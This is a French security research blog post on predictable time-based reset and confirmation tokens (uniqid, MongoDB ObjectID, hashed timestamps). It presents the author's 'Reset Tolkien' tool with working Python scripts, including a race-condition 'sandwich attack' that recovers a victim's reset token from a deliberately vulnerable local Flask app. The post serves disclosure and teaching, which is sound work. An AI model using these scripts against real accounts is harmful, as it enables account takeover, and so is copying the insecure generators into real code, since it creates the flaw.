[FR] Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien”

Reset Tolkien Picture

Résumé

Durant cet article, je détaille mes recherches sur les secrets basés sur le temps. Cette recherche a commencé pour moi il y a un an, à la suite de découverte lors d’un programme de Bug bounty, et m’a permis de prendre le temps d’implémenter mon outil Python: Reset Tolkien.

Sommaire

I - Première vulnérabilité: Fonction PHP uniqid et réinitilisation de mot de passe

I.1 - Contexte

Lors d’un programme de Bug bounty, je découvre une application avec peu de fonctionnalité. Je suis obligé de me focaliser sur les fonctionnalités relativement classiques de l’application, comme la fonctionnalité de réinitialisation de mot de passe.

Il a quelques semaines de cela, j’ai produit une épreuve de CTF sur cette fonctionnalité. Un challenge “fantasmé”, c’est à dire que je ne pense pas possible sur une application en production.

Lors de ce challenge, j’avais imaginé le fonctionnalité de réinitilisation de mot de passe se basant sur le générateur pseudo-aléatoire Python random.

C’était sympathique à concevoir, mais bon, ça n’est pas possible de trouver ça, non ? Nous allons voir…

I.2 - Hypothèse

Je teste donc ce périmètre en ayant ce challenge en tête. En générant des tokens avec mon propre compte, quasiment en même temps, j’obtiens ces deux tokens:

Il me vient alors une idée:

Et si c’était plus simple que du pseudo-aléatoire ? Et si ces tokens étaient seulement basés sur le temps ?

Pour confirmer mon hypothèse:

Tips: Afin de faciliter la récupération de la date de la demande, il est possible de se baser sur le header HTTP Date depuis la réponse HTTP de la requête de demande de réinitilisation du mot de passe. Cet en-tête est défini comme obligatoire par la RFC-2616.

En réalisant ces étapes, je parviens à découvrir que ce token est en effet généré à partir de la date de génération:

Voici la fonction implémentée en Python:

import math

def uniqid(timestamp: float):
    sec = math.floor(timestamp)
    usec = round(1000000 * (timestamp - sec))
    return "%8x%05x" % (sec, usec)

def reverse_uniqid(value: str):
    return float(
        str(int(value[:8], 16))
        + "."
        + str(int(value[8:], 16))
    )

import datetime

def check():
    t = datetime.datetime.now().timestamp()
    u = uniqid(t)
    return t == reverse_uniqid(u)

# >>> check()
# True

À partir de nos deux précédents tokens, nous sommes capables de récupérer les dates de génération correspondantes:

tokens = ["655f254b2d821", "655f254b2d82e"]
for token in tokens:
    t = float(reverse_uniqid(token))
    d = datetime.datetime.fromtimestamp(t)
    print(f"{token} - {t} => {d}")
    
# 655f254b2d821 - 1700734283.186401 => 2023-11-23 11:11:23.186401
# 655f254b2d82e - 1700734283.186414 => 2023-11-23 11:11:23.186414

I.3 - Scénario d’attaque

En confirmant cette hypothèse, je suis dorénavant capable de créer un scénario d’attaque permettant d’impacter d’autres utilisateurs:

Avec le seul pré-requis de l’email de la victime, je suis capable de réinitialiser son mot de passe. Sur le périmètre concerné, je peux changer son email à partir du nouveau mot de passe et réaliser un full-account takeover. Le rapport sera accepté en “Critical”.

I.4 - Début de l’aventure

En découvrant cette vulnérabilité, je tente de reproduire cette exploitation sur un grand nombre de périmètres de Bug bounty à partir d’un scénario plus détaillé:

II - Seconde vulnérabilité: ObjectID de Mongo DB et confirmation d’adresse e-mail

II.1 - Contexte

Durant mes différentes recherches manuelles à l’aide du scénario précédent, je repère un cas intriguant sur une autre fonctionnalité que celle de réinitialisation de mot de passe. Lors de la confirmation d’une adresse email, je repère cette similarité de format:

Cette faible entropie me rappelle le cas précédent, mais avec un format différent de uniqid. Après des recherches, ces tokens correspondent à un Object ID généré par MongoDB, formé de trois informations différentes:

  1. Timestamp: temps en seconde de l’accès à l’objet en base de données.
  2. Process: valeur unique extraite à partir la machine et du processus utilisé.
  3. Counter: compteur incrémenté à partir d’une valeur aléatoire.

Voici ce format implémenté en Python:

def MongoDB_ObjectID(timestamp, process, counter):
    return "%08x%10x%06x" % (
        timestamp,
        process,
        counter,
    )

def reverse_MongoDB_ObjectID(token):
    timestamp = int(token[0:8], 16)
    process = int(token[8:18], 16)
    counter = int(token[18:24], 16)
    return timestamp, process, counter


def check(token):
    (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
    return token == MongoDB_ObjectID(timestamp, process, counter)

token = "65c7e6f47ded1f0fef0c1006"
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)

# >> {"token": token, "timestamp": timestamp, "process": process, "counter": counter}
# {'token': '65c7e6f47ded1f0fef0c1006', 'timestamp': 1707599604, 'process': 540849147887, 'counter': 790534}
# >> check(token)
# True

II.2 - Hypothèse

À partir d’un token, nous sommes capables d’extraire les informations nécessaires à la génération de ce token. Ces informations nous serviront à deviner le token suivant:

  1. Timestamp: en cas de génération simultanée, la valeur est identique à celle du token précédent.
  2. Process: valeur unique issue de la machine et du processus.
  3. Counter: en cas de génération séquencée, la valeur correspond à la valeur incrémentée du token précédent.

En réalisant un scénario d’attaque similaire à la première vulnérabilité, la réussite de l’attaque n’est pas garantie. En effet, les tokens peuvent être générés par des machines et/ou des processus différents. Ainsi donc, il est nécessaire de lister les différentes valeurs afin de générer le token avec la valeur correspondante à la machine et au processus utilisé.

II.3 - Scénario d’attaque

Dans le contexte de l’application, je suis capable de contourner la vérification d’un email. Sur le périmètre concerné, l’impact est limité. Cependant, cela me donne l’opportunité d’imaginer une utilisation comparable à la première vulnérabilité dans un autre contexte, celui de la confirmation d’un e-mail.

III - Recherches

À la suite de ces découvertes, j’ai ressenti le besoin d’approfondir ce sujet afin de généraliser cette exploitation.

III.1 - Tour d’horizon de “StackOverflow”

Afin d’élargir pour généraliser ces cas, j’ai eu besoin davantage d’exemple. Pas seulement des exemples de token générés en boite noire, mais aussi des exemples de code source. À partir de mon moteur de recherche préféré, j’ai dressé un échantillon représentatif d’implémentation de la fonctionnalité de réinitialisation de mot de passe. J’y ai cherché les “bons”" ou “mauvais”" élèves.

Ma recherche ayant commencée par la découverte de la fonction PHP uniqid, j’ai orienté ma recherche sur des exemples de code source PHP. En voici un best-of.

III.1.1 - Les mauvais choix, mais ça ne nous aide pas

while($row=mysql_fetch_array($select))
{
  $email=md5($row['email']);
  $pass=md5($row['password']);
}
$link="<a href='www.samplewebsite.com/reset.php?key=".$email."&reset=".$pass."'>Click To Reset password</a>";

Ici, le développeur choisit d’envoyer le hachage du mot de passe de l’utilisateur en tant que token de réinitilisation de mot de passe.

En tout cas, ça ne nous intéresse pas dans notre étude, ça reviendrait à deviner le hachage du mot de passe de la victime pour réinitiliser son mot de passe.

$token = $this->generateRandomString(97);

[...]

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i ++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

Ici, le développeur choisit d’utiliser la fonction pseudo-random rand() pour générer un token. Si nous sommes capables de générer suffisament de token, il serait donc possible de prédire les prochaines valeurs des tokens suivants. Comme quoi, l’épreuve de CTF précédemment évoqué n’était pas si fantasmé que ça.

C’est intéressant, si vous voulez étudier plus en détail, il y a des exemples d’exploitation:

Mais ce n’est pas le sujet de notre étude.

III.1.2 - Les mauvais choix, et c’est intéressant

$token = md5($emailId).rand(10,9999);
$link = "<a href='www.yourwebsite.com/reset-password.php?key=".$emailId."&token=".$token."'>Click To Reset password</a>";

Ici, le développeur choisit d’utiliser la valeur d’ID de l’utilisateur hachée et concaténée à une valeur aléatoire contenue entre 10 et 9999.

C’est intéressant, si nous connaissons l’ID de la victime, il suffirait d’essayer les 9991 possibilités pour retrouver le token de la victime.

Notons, notons.

$key=md5(time()+123456789% rand(4000, 55000000));

Le développeur se base sur un timestamp mais y ajoute une valeur basée sur de l’aléatoire pour finalement hacher le résultat en MD5.

Cela semble compliqué à exploiter mais ça nous indique une information essentielle: il est possible que certains développeurs choisissent les fonctions de hachage pour y cacher des valeurs qui ne seraient pas cryptographiquement sûres.

Notons de nouveau, notons de nouveau.

III.1.3 - Les bons choix

$token = bin2hex(random_bytes(50));

Ici c’est un bon exemple de ce qui est sécurisé à partir d’une fonction random_bytes cryptographiquement sûre.

Ne notons pas, ne notons pas.

III.2 - Limites de nos scénarios précédents

En parcourant les exemples de code sources précédents, il est possible d’en tirer des enseignements:

III.3 - Fin de l’aventure ?

Ces deux trouvailles ont été pour moi l’occasion d’inspecter les différentes fonctions basées sur le temps. Ces fonctions ne devraient pas être utilisées dans des contextes qui nécessitent des secrets cryptographiquement sûrs.

J’ai besoin d’automatiser cette recherche. Cependant, je me confronte à une contrainte:

Chaque périmètre a des technologies différentes et des fonctionnalités différemment implémentées. Cependant, une fois un token récupéré, il est toujours possible d’automatiser la détection du formatage et la confirmation de l’hypothèse, mais aussi l’attaque.

L’aventure ne s’arrête donc pas là pour moi.

IV - Théories et algorithmes

Nous allons donc prendre le temps de théoriser en se basant sur les cas pratiques découverts ainsi que les enseignements de nos recherches sur les exemples de code source.

IV.1 - Première étape: date de génération connue

Tentons de décrire différents algorithmes permettant de généraliser la recherche du format d’un token en partant du principe que la date de génération du token est connue.

IV.1.1 - Algorithme de détection

Il est donc possible de créer un premier algorithme qui, à partir d’une liste de fonction de format possible F, détermine si le token est basé sur la date de génération du token:

IV.1.2 - Algorithme d’attaque

Une fois l’hypothèse confirmée, nous pouvons donc fournir un algorithme qui permettra de générer le token de la victime à partir de la date de génération:

IV.2 - Deuxième étape: prise en compte des fonctions de hachage

Les algorithmes précédents prenaient en compte la possibilité de connaître l’inverse d’une fonction, or, si nous souhaitons prendre en compte des formats de tokens utilisant des fonctions de hachage, par définition, nous ne pouvons pas définir la fonction inverse.

Nous devons donc inverser et nous baser sur la date, appliquer les fonctions de formatage et comparer la valeur obtenue avec le token fourni en entrée.

IV.2.1 - Algorithme de détection avec les fonctions de hachage

À partir de la date de génération du token, nous devons confirmer quelle est la fonction de hachage utilisée:

IV.2.2 - Algorithme d’attaque avec les fonctions de hachage

Nous pouvons donc fournir un algorithme qui permettra de générer le token de la victime à partir de la date de génération:

IV.3 - Troisième étape: date de génération précise inconnue

Les algorithmes précédents prenaient en compte le pré-requis de la connaissance précise de la date de génération des tokens. Or, lors de la demande de réinitilisation, nous pouvons récupérer la date de la demande, mais celle-ci n’est pas forcément celle de la génération du token. En effet, un délai peut séparer ces deux dates. De plus, si le token est basé sur un temps avec une précision plus fine que les secondes, nous ne pouvons pas connaître avec certitude la date de génération du token.

Cependant, la date de la demande est forcément proche de la date de génération. Nous pouvons donc tenter de deviner la date de génération en incréméntant la date de la demande jusqu’à une limite arbitraire qui nous persuadera que notre hypothèse est fausse.

IV.3.1 - Algorithme de détection avec une fenètre temporelle arbitraire

Il est possible de définir une fenêtre temporelle arbitraire à partir de la date de la demande afin de déterminer si le token a été généré par une ces dates:

IV.3.2 - Algorithme d’attaque avec une fenètre temporelle arbitraire

Pour réaliser l’attaque, il est nécessaire de considérer qu’il existe un oracle, nommé verify, permettant de confirmer qu’un token est valide:

IV.4 - Quatrième étape - Optimisation de l’attaque en réduisant les sollicitations auprès de l’Oracle

Lors de l’étape précédente, nous vérifions l’hypothèse que le token d’une victime est valide à partir d’une fenètre temporelle arbitrairement définie et d’un oracle. Cet oracle pourrait être un script permettant de vérfifier la validité du token via une requête HTTP via l’application web.

Plus la fenètre temporelle est large, et plus la probabilité de trouver un token valide est forte, mais plus l’oracle est solicité. Dans le cas de limitation de l’utilisation de l’oracle, nous souhaitons optimiser la taille de la fenètre temporelle sans réduire la certitude de la confirmation de l’hypothèse.

Il est possible de borner la fenètre temporelle entre deux tokens du compte de l’attaquant. Ce type d’attaque a été nommée sous le nom de “Sandwich Attack”.

Voici une très bonne reférence sur ce type d’attaque:

IV.4.1 - Scénario d’attaque par sandwich

IV.4.2 - Algorithme d’attaque par sandwich

Tentons de définir un algorithme permettant de deviner la date de génération du token de la victime:

IV.5 - Conclusion

Grâce à ces algorithmes et le prérequis de la date de génération, nous sommes capables de confirmer l’hypothèse qu’un token est basé sur le temps.

Une fois cette hypothèse confirmée, il nous est possible de borner la date de génération du token de la victim entre deux tokens générés à partir du compte de l’attaquant. L’oracle nous permettra de confirmer lequel des tokens est celui de la victime.

V - Pratique

V.1 - Exemple d’application vulnérable

Imaginons une application web implémentant la fonctionnalité de réinitilisation de mot de passe. Voici un exemple d’application web avec Flask et SQLite:

from flask import Flask, request
import sqlite3

DATABASE_NAME = "reset.db"


# Database initialization with table definition
def init_db():
    database = sqlite3.connect(DATABASE_NAME)
    cursor = database.cursor()
    cursor.execute(
        """
        CREATE TABLE reset(
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            email TEXT,
            token TEXT
        )
        """
    )


# Store the token in database with the provided email
def store_token_in_db(email, token):
    database = sqlite3.connect(DATABASE_NAME)
    cursor = database.cursor()
    cursor.execute("INSERT INTO reset(email, token) VALUES(?, ?)", (email, token))
    database.commit()


# Verify the validity of provided token - the token is deleted from the database after usage
def verify(email, token):
    database = sqlite3.connect(DATABASE_NAME)
    cursor = database.cursor()
    cursor.execute("SELECT token FROM reset WHERE email = ? ORDER BY id DESC", (email,))
    tokens = cursor.fetchone()
    if tokens:
        success = token == tokens[0]
        if success:
            cursor.execute(
                "DELETE FROM reset WHERE email = ? AND token = ?", (email, token)
            )
            database.commit()
        return success
    return False


# Generate a formatted token
def generate_token():
    # Not implemented

app = Flask(__name__)


@app.route("/reset", methods=["GET"])
def reset():
    token = request.args.get("token", None)
    email = request.args.get("email", None)
    # Verify
    if token and email:
        if verify(email, token):
            return "Valid!"
        return "Expired token!"
    # Generate
    elif email:
        token = generate_token()
        store_token_in_db(email, token)
        if token:
            return f"Email sent to {email}: <a id='token' href='/reset?email={email}&token={token}'>{token}</a>"
        return "Error"
    # Provide form
    return "<html><body><form><label for='email'>Email: </label><input name='email'></input></form>"


import os

if __name__ == "__main__":
    if not os.path.isfile(DATABASE_NAME):
        init_db()
    app.run()

Cette application implémente les trois fonctionnalités sur la même route:

Cette application génère une valeur à partir du temps courant, puis lui applique un formatage avant d’envoyer ce token sur l’email de l’utilisateur. En voici un exemple d’implémentation:

# Generate a formatted token
def generate_token():
    import datetime
    import hashlib
    
    t = datetime.datetime.now().timestamp()
    token = hashlib.md5(str(t).encode()).hexdigest()
    return token

En testant cette application en black box, nous verrons un token au format MD5: e6e1b03ab79ba996265417e78a6d80d2, ce qui ne nous permet pas de deviner qu’il s’agit d’un token basé sur le temps, ni d’évaluer l’entropie de la valeur.

V.2 - Scénario de confirmation de l’hypothèse

Nous posons l’hypothèse que le token est basé sur le temps, nous allons maintenant appliquer le scénario de confirmation de notre hypothèse:

V.3 - Scénario de d’attaque par sandwich

Pour réaliser notre attaque, nous allons avoir besoin d’implémenter la fonction verify qui est un oracle permettant de confirmer la validité d’un token:

import request

def verify(email, token):
    r = request.get(f"http://localhost:5000/reset?email={email}&token={token}")
    return r.status_code == 200 and r.text == "Valid!"

Le but du scénario est de récupérer un token d’une victime:

Note: J’ai considéré que l’Oracle confirme la validité du token sans pour autant le faire expirer. Si c’est le cas, il faudra prévoir d’automatiser la réinitilisation du mot de passe dès le premier accès au token pour réussir l’attaque.

VI - Reset Tolkien

VI.1 - Présentation

Pour permettre l’exploitation de cette vulnérabilité, j’ai pris le temps de fabriquer un outil clé en main qui se base sur les algorithmes précédents.

Je l’ai astucieusement (mmh…) nommé Reset Tolkien.

Celui-ci ne se contente pas d’implémenter littéralement les algorithmes précédents, mais y ajoute des notions qui n’ont pas été évoquées comme:

VI.2 - Encodage et fonction de hachage pris en charge

L’outil teste différents formats de token de façon récursive:

L’outil gère également les fonctions de hachage les plus populaires:

VI.3 - Usage

Les différentes fonctionnalité de l’outil sont les suivantes:

usage: reset-tolkien detect [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
                     [--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-l {1,2,3}] [-t TIMESTAMP] [-d DATETIME]
                     [--datetime-format DATETIME_FORMAT] [--prefixes PREFIXES] [--suffixes SUFFIXES] [--hashes HASHES]
                     token

positional arguments:
  token                 The token given as input.

options:
  -h, --help            show this help message and exit
  -r, --roleplay        Not recommended if you don't have anything else to do
  -v {0,1,2}, --verbosity {0,1,2}
                        Verbosity level (default: 0)
  -c CONFIG, --config CONFIG
                        Config file to set TimestampHashFormat (default: default.yml)
  --threads THREADS     Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
  --date-format-of-token DATE_FORMAT_OF_TOKEN
                        Date format for the token - please set it if you have found a date as input.
  --only-int-timestamp  Only use integer timestamp. (default: False)
  --decimal-length DECIMAL_LENGTH
                        Length of the float timestamp (default: 7)
  --int-timestamp-range INT_TIMESTAMP_RANGE
                        Time range over which the int timestamp will be tested before and after the input value (default: 60s)
  --float-timestamp-range FLOAT_TIMESTAMP_RANGE
                        Time range over which the float timestamp will be tested before and after the input value (default: 2s)
  --timezone TIMEZONE   Timezone of the application for datetime value (default: 0)
  -l {1,2,3}, --level {1,2,3}
                        Level of search depth (default: 3)
  -t TIMESTAMP, --timestamp TIMESTAMP
                        The timestamp of the reset request
  -d DATETIME, --datetime DATETIME
                        The datetime of the reset request
  --datetime-format DATETIME_FORMAT
                        The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:24:05 UTC")
  --prefixes PREFIXES   List of possible values for the prefix concatenated with the timestamp. Format: prefix1,prefix2
  --suffixes SUFFIXES   List of possible values for the suffix concatenated with the timestamp. Format: suffix1,suffix2
  --hashes HASHES       List of possible hashes to try to detect the format. Format: suffix1,suffix2 (default: all identified hash)
usage: reset-tolkien bruteforce [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
                         [--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-t TIMESTAMP] [-d DATETIME]
                         [--datetime-format DATETIME_FORMAT] [--token-format TOKEN_FORMAT] [--prefix PREFIX] [--suffix SUFFIX] [-o OUTPUT] [--with-timestamp]
                         token

positional arguments:
  token                 The token given as input.

options:
  -h, --help            show this help message and exit
  -r, --roleplay        Not recommended if you don't have anything else to do
  -v {0,1,2}, --verbosity {0,1,2}
                        Verbosity level (default: 0)
  -c CONFIG, --config CONFIG
                        Config file to set TimestampHashFormat (default: default.yml)
  --threads THREADS     Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
  --date-format-of-token DATE_FORMAT_OF_TOKEN
                        Date format for the token - please set it if you have found a date as input.
  --only-int-timestamp  Only use integer timestamp. (default: False)
  --decimal-length DECIMAL_LENGTH
                        Length of the float timestamp (default: 7)
  --int-timestamp-range INT_TIMESTAMP_RANGE
                        Time range over which the int timestamp will be tested before and after the input value (default: 60s)
  --float-timestamp-range FLOAT_TIMESTAMP_RANGE
                        Time range over which the float timestamp will be tested before and after the input value (default: 2s)
  --timezone TIMEZONE   Timezone of the application for datetime value (default: 0)
  -t TIMESTAMP, --timestamp TIMESTAMP
                        The timestamp of the reset request with victim email
  -d DATETIME, --datetime DATETIME
                        The datetime of the reset request with victim email
  --datetime-format DATETIME_FORMAT
                        The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:25:07 UTC")
  --token-format TOKEN_FORMAT
                        The token encoding/hashing format - Format: encoding1,encoding2
  --prefix PREFIX       The prefix value concatenated with the timestamp.
  --suffix SUFFIX       The suffix value concatenated with the timestamp.
  -o OUTPUT, --output OUTPUT
                        The filename of the output
  --with-timestamp      Write the output with timestamp
usage: reset-tolkien sandwich [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
                       [--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-bt BEGIN_TIMESTAMP] [-et END_TIMESTAMP]
                       [-bd BEGIN_DATETIME] [-ed END_DATETIME] [--datetime-format DATETIME_FORMAT] [--token-format TOKEN_FORMAT] [--prefix PREFIX] [--suffix SUFFIX] [-o OUTPUT]
                       [--with-timestamp]
                       token

positional arguments:
  token                 The token given as input.

options:
  -h, --help            show this help message and exit
  -r, --roleplay        Not recommended if you don't have anything else to do
  -v {0,1,2}, --verbosity {0,1,2}
                        Verbosity level (default: 0)
  -c CONFIG, --config CONFIG
                        Config file to set TimestampHashFormat (default: default.yml)
  --threads THREADS     Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
  --date-format-of-token DATE_FORMAT_OF_TOKEN
                        Date format for the token - please set it if you have found a date as input.
  --only-int-timestamp  Only use integer timestamp. (default: False)
  --decimal-length DECIMAL_LENGTH
                        Length of the float timestamp (default: 7)
  --int-timestamp-range INT_TIMESTAMP_RANGE
                        Time range over which the int timestamp will be tested before and after the input value (default: 60s)
  --float-timestamp-range FLOAT_TIMESTAMP_RANGE
                        Time range over which the float timestamp will be tested before and after the input value (default: 2s)
  --timezone TIMEZONE   Timezone of the application for datetime value (default: 0)
  -bt BEGIN_TIMESTAMP, --begin-timestamp BEGIN_TIMESTAMP
                        The begin timestamp of the reset request with victim email
  -et END_TIMESTAMP, --end-timestamp END_TIMESTAMP
                        The end timestamp of the reset request with victim email
  -bd BEGIN_DATETIME, --begin-datetime BEGIN_DATETIME
                        The begin datetime of the reset request with victim email
  -ed END_DATETIME, --end-datetime END_DATETIME
                        The end datetime of the reset request with victim email
  --datetime-format DATETIME_FORMAT
                        The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:25:55 UTC")
  --token-format TOKEN_FORMAT
                        The token encoding/hashing format - Format: encoding1,encoding2
  --prefix PREFIX       The prefix value concatenated with the timestamp.
  --suffix SUFFIX       The suffix value concatenated with the timestamp.
  -o OUTPUT, --output OUTPUT
                        The filename of the output
  --with-timestamp      Write the output with timestamp

VI.4 - Exemple pratique

Si nous souhaitons attaquer l’application précédemment décrite, il est possible d’utiliser cet outil.
Le scénario de détection peut être utilisé avec un outil Burp, voici un script Python (spécifique pour cette application) qui permet d’appliquer le scénario de détection:

import requests
from bs4 import BeautifulSoup


# Ask a reset token from a specific email
def reset(email):
    url = f"http://localhost:5000/reset?email={email}"
    r = requests.get(url)
    return r.content, r.headers["Date"]


# Get the token in the response
def get_token(content):
    soup = BeautifulSoup(content, "html.parser")
    token = soup.find(id="token").attrs["href"].split("&")[1].split("=")[1]
    return token


# Print the good command with resetTolkien to detect if the token is time-based
def exploit(email):
    content, date = reset(email)
    token = get_token(content)
    print(
        'reset-tolkien detect %s -d "%s" --prefixes "%s" --suffixes "%s" --hashes="md5" --decimal-length 6'
        % (
            token,
            date,
            email,
            email,
        )
    )
# >> exploit("attacker@example.com")
# $ reset-tolkien detect 2487113242892c39716477efb579538c -d "Wed, 27 Mar 2024 15:10:18 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --hashes="md5" --decimal-length 6
# The token may be based on a timestamp: 1711552218.352686 (prefix: None / suffix: None)
# The convertion logic is "md5,uniqid"

Une fois l’hypothèse confirmée, nous pouvons réaliser une attaque par sandwich avec l’outil. De même, il est possible de réaliser la procédure semi-manuellement avec un outil comme Burp.

Voici un script Python (spécifique pour cette application) qui permet d’appliquer le scénario d’attaque:

import datetime
import asyncio
import httpx

from bs4 import BeautifulSoup

from resetTolkien.resetTolkien import ResetTolkien
from resetTolkien.format import Formatter
from resetTolkien.utils import SERVER_DATE_FORMAT


# Get the token in the response
def get_token(content):
    soup = BeautifulSoup(content, "html.parser")
    token = soup.find(id="token").attrs["href"].split("&")[1].split("=")[1]
    return token


# Asynchronous function to ask a reset token from a specific email
async def async_reset(client, email):
    url = f"http://localhost:5000/reset?email={email}"
    r = await client.get(url)
    token = get_token(r.content)
    return token, r.headers["Date"]


# Race condition to try sandwich attack
async def sandwich_attack_with_race_conditions(attacker_email, victim_email):
    async with httpx.AsyncClient() as client:
        tasks = []
        task = asyncio.ensure_future(async_reset(client, attacker_email))
        tasks.append(task)
        await asyncio.sleep(0.01)
        task = asyncio.ensure_future(async_reset(client, victim_email))
        tasks.append(task)
        await asyncio.sleep(0.01)
        task = asyncio.ensure_future(async_reset(client, attacker_email))
        tasks.append(task)

        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
    return results


# Print the good command with resetTolkien to generate possible tokens
def exploit(attacker_email, victim_email):
    # Three requests to generate tokens via race condition
    results = asyncio.run(
        sandwich_attack_with_race_conditions(attacker_email, victim_email)
    )

    # Get tokens from attacker email
    (attacker_token1, request_date1) = results[0]
    (attacker_token3, request_date3) = results[2]

    # Victim token: here, the token is returned to us.
    # In a realistic context, the token would not be known.
    (victim_token2, _) = results[1]

    # Create a new object Reset Tolkien with attacker information
    # Similar to `reset-tolkien detect [attacker_token1] -d "[request_date1]" --prefixes "[attacker_email]" --suffixes "[attacker_email]" --hashes="md5" --decimal-length 6`
    tolkien = ResetTolkien(
        token=attacker_token1,
        prefixes=[attacker_email],
        suffixes=[attacker_email],
        hashes=["md5"],
        decimal_length=6,
    )

    # Get the request timestamp of the attacker token 1
    request_timestamp1 = (
        datetime.datetime.strptime(request_date1, SERVER_DATE_FORMAT)
        .replace(tzinfo=datetime.timezone.utc)
        .timestamp()
    )

    # Guess the format and the generation timestamp from the attacker token 1
    results = tolkien.detectFormat(timestamp=request_timestamp1)
    if not results:
        print("We don't know the format.")
        exit()

    # Get generation timestamp from token1
    generation_timestamp1 = results[0][0][0]

    # Get the guessed token format
    format = Formatter().export_formats(results[0][1])

    # Create a new object Reset Tolkien with victim information
    # Similar to `reset-tolkien detect [attacker_token3] -d "[request_date3]" --prefixes "[victim_email]" --suffixes "[victim_email]" --hashes="md5" --decimal-length 6`
    tolkien3 = ResetTolkien(
        token=attacker_token3,
        prefixes=[victim_email],
        suffixes=[victim_email],
        hashes=["md5"],
        formats=format.split(","),
        decimal_length=6,
    )

    # Get the request timestamp of the attacker token 3
    request_timestamp3 = (
        datetime.datetime.strptime(request_date3, SERVER_DATE_FORMAT)
        .replace(tzinfo=datetime.timezone.utc)
        .timestamp()
    )

    # Guess the generation timestamp from the attacker token 3
    results3 = tolkien3.detectFormat(timestamp=request_timestamp3)
    if not results:
        print("We don't know the format.")
        exit()

    # Get generation timestamp from the attacker token 3
    generation_timestamp3 = results3[0][0][0]

    # Wrong scheduling in asynchronous request
    if generation_timestamp1 >= generation_timestamp3:
        print("retry")
        exit()

    # Generation of potential token2
    print(f"Victim's token need to be found in output.txt : {victim_token2}")
    print(
        'reset-tolkien sandwich %s -bt %s -et %s -o output.txt --token-format="%s" --decimal-length=6'
        % (attacker_token1, generation_timestamp1, generation_timestamp3, format)
    )


# >> exploit("attacker@example.com", "admin@example.com")
# Victim's token need to be found : 5411c1276ad7fab87661f82addcb11dc
# $ reset-tolkien sandwich 7eac187758a468f64879111cb70a486b -bt 1711554142.503661 -et 1711554142.504054 -o output.txt --token-format="md5,uniqid" --decimal-length=6
# Tokens have been exported in "output.txt"
# $ grep 5411c1276ad7fab87661f82addcb11dc output.txt
# 5411c1276ad7fab87661f82addcb11dc

VI.5 - Tests par défaut

Par défaut, l’outil est configuré pour détecter ce type de génération de token basé sur le temps:

function getToken($level, $email)
{
    switch ($level) {
        case 1:
            return uniqid();
        case 2:
            return hash(time());
        case 3:
            return hash(uniqid());
        case 4:
            return hash(uniqid() . $email);
        case 5:
            return hash(date(DATE_RFC2822));
        case 6:
            return hash($email . uniqid() . $email);
        case 7:
            return uuid1("Test");
    }
}

VI.6 - Configuration personnalisée des tests

De plus, l’outil permet de définir ses propres formats de token avant l’application d’une fonction de hachage via un object TimestampHashFormat. Par exemple, pour tester si le token est généré via cette fonction de génération de token:

# Generate a formatted token
def generate_token():
    import datetime
    import hashlib
    
    t = datetime.datetime.now().timestamp()
    token = hashlib.md5(uniqid(t).encode()).hexdigest()
    return token

Il est possible de définir dans le fichier YAML de configuration:

float-uniqid:
  description: "Uniqid timestamp"
  level: 2
  timestamp_type: float
  formats:
    - uniqid

VI.7 - La liste des “Todo”

Forcément, comme tout outil, il est toujours possible d’y ajouter de nouvelles fonctionnalités qui viendraient le compléter.

Parmis les points qui seraient bien utiles:

VII - Conclusion

Ma recherche a permis d’implémenter une première version d’un outil permettant de détecter des cas simples et de réaliser une attaque par sandwich pour un certain nombre de format. Il devrait être enrichi, au fur et à mesure des recherches, avec de nouveaux formats basés sur le temps.

Cet article a donc aussi pour but d’ouvrir une discussion avec vous pour m’aider à l’enrichir. N’hésitez donc pas à venir en discuter.

Cette première version de l’outil est suffisamment stable à mes yeux pour être rendue publique, mais je compte bien le faire évoluer encore, notammement à partir de la liste précédente.

Crédits